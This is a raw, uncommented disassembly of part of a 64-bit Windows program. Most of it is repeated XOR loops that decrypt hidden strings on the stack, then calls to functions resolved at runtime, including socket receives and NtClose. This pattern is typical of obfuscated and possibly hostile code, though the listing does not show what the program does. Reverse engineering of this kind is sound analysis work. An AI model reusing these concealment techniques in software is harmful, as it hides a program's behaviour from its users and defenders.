movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140030b3d
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140030b00
mov r14d, Ordinal_33
lea esi, [r14 - 0x1a]
cmp byte [rbp + 0xfb], 0
je 0x140030cf3
mov r8d, r12d
cmp ebx, 2
jl 0x140030caf
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140030ba0
cmp r8d, 0x5c
jge 0x140030cf3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140030cc0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x140030ec3
mov r8d, r12d
cmp ebx, 2
jl 0x140030e7f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140030d70
cmp r8d, 0x5c
jge 0x140030ec3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140030e90
cmp byte [rbp + 0x287], 0
jne 0x140031033
cmp ebx, 2
jl 0x140030fee
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140031033
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031000
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x140031060
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
jmp 0x140030486
lea r9, [rbp + 0x280]
mov r8d, r12d
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031080
cmp byte [rbp + 0xfb], 0
je 0x140031263
mov r8d, r12d
cmp ebx, 2
jl 0x14003121f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140031110
cmp r8d, 0x5c
jge 0x140031263
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031230
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x140031433
mov r8d, r12d
cmp ebx, 2
jl 0x1400313ef
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400312e0
cmp r8d, 0x5c
jge 0x140031433
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031400
cmp byte [rbp + 0x287], 0
jne 0x1400315a3
cmp ebx, 2
jl 0x14003155e
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x1400315a3
lea r9, [rbp + 0x280]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140031570
call fcn.140039cf0
mov rdi, rax
movzx ecx, word [0x140993b1c]
mov word [rbp + 0x2a0], cx
cmp byte [0x140993b1d], 0
je 0x1400315d0
mov byte [rbp + 0x2a0], Ordinal_50
xor byte [rbp + 0x2a1], 0x38
lea rcx, [rbp + 0x2a0]
call fcn.140182a90
mov ecx, eax
call rdi
movabs rdi, 0x1d2e8b3fffd132ac
lea rcx, [rbp + 0x170]
call fcn.1400486d0
test al, al
je 0x1400317ec
mov qword [rbp + 0x280], r13
mov qword [rbp + 0x288], rdi
movabs rax, 0x86df48f1eb8aeaf5
mov qword [rbp + 0x230], rax
movabs rax, 0x1d2e8b3f9aa95782
mov qword [rbp + 0x238], rax
movdqa xmm0, xmmword [rbp + 0x230]
pxor xmm0, xmmword [rbp + 0x280]
movdqa xmmword [rbp + 0x230], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x230]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140031670
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x80]
call fcn.140011c40
nop
lea rdx, [rbp + 0x80]
call fcn.140048260
mov qword [rbp + 0x200], rax
lea rcx, [rbp + 0x80]
call fcn.140010b20
mov qword [rbp + 0x230], r13
mov qword [rbp + 0x238], rdi
movabs rax, 0x8665af9483a9ffdd
mov qword [rbp + 0x240], rax
movabs rcx, 0x67d39ca96ad06f96
mov qword [rbp + 0x248], rcx
movabs rax, 0xa3c848ffedb4ead5
mov qword [rbp + 0x80], rax
movabs rax, 0x745aea528dbe54c2
mov qword [rbp + 0x88], rax
movabs rax, 0x8665c2fbf7e891b2
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rcx
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp + 0x230]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x90], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0x230], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x240], xmm1
lea rax, [rbp + 0x80]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140031770
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x230]
call fcn.140011c40
nop
lea r8, [rbp + 0x230]
mov rdx, qword [rbp + 0x200]
lea rcx, [rbp + 0x170]
call fcn.140048420
mov qword [rbp + 0x210], rax
lea rcx, [rbp + 0x230]
call fcn.140010b20
mov r9d, ntohs
mov r8, qword [rbp + 0x210]
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x170]
call fcn.140048010
test al, al
je 0x1400317ec
cmp byte [rbp + 0x220], 0
jne 0x140031f50
mov byte [0x140a05f70], 1
call fcn.14003d3e0
lea rcx, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae rcx, qword [rbp + 0x110]
call rax
mov rcx, qword [rbp + 0x180]
test rcx, rcx
je 0x14003182c
jle 0x140031825
call qword [sym.imp.ntdll.dll_NtClose]
mov qword [rbp + 0x180], r12
lea rcx, [rbp + 0x170]
call fcn.1400498c0
movups xmm0, xmmword [0x1409945a0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [0x1409945b0]
movups xmmword [rbp + 0xb0], xmm1
movups xmm0, xmmword [0x1409945c0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x1409945d0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x1409945e0]
movups xmmword [rbp + 0xe0], xmm0
movsd xmm1, qword [0x1409945f0]
movsd qword [rbp + 0xf0], xmm1
mov eax, dword [0x1409945f8]
mov dword [rbp + 0xf8], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x280], rax
call fcn.14003c1b0
mov r10, rax
cmp byte [rbp + 0x287], 0
je 0x140031a23
cmp ebx, 2
jl 0x1400319db
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x14099d990]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
mov eax, dword [0x14099db40]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x280]
pxor xmm2, xmm1
movd dword [rbp + 0x280], xmm2
movdqa xmm3, xmmword [0x14099d9e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14099da10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x284]
pxor xmm2, xmm1
movd dword [rbp + 0x284], xmm2
jmp 0x140031a23
lea r9, [rbp + 0x280]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400319f0
cmp byte [rbp + 0xfb], 0
je 0x140031bd3
mov r8d, r12d
cmp ebx, 2
jl 0x140031b8f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140031a80
cmp r8d, 0x5c
jge 0x140031bd3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140031ba0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x280]
lea rdx, [rbp + 0xa0]
xor ecx, ecx
call r10
cmp byte [rbp + 0xfb], 0
jne 0x140031da3
mov r8d, r12d
cmp ebx, 2
jl 0x140031d5f
movdqa xmm5, xmmword [0x14099d990]
movdqa xmm4, xmmword [0x14099deb0]
movd xmm6, esi
movdqa xmm7, xmmword [0x14099da10]
movd xmm8, r14d
movdqa xmm0, xmmword [0x14099db40]
movdqa xmmword [rbp + 0x230], xmm0
lea rcx, [rbp + 0xa4]
mov edx, dword [rbp + 0x230]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14099da90]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140031c50
cmp r8d, 0x5c
jge 0x140031da3
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
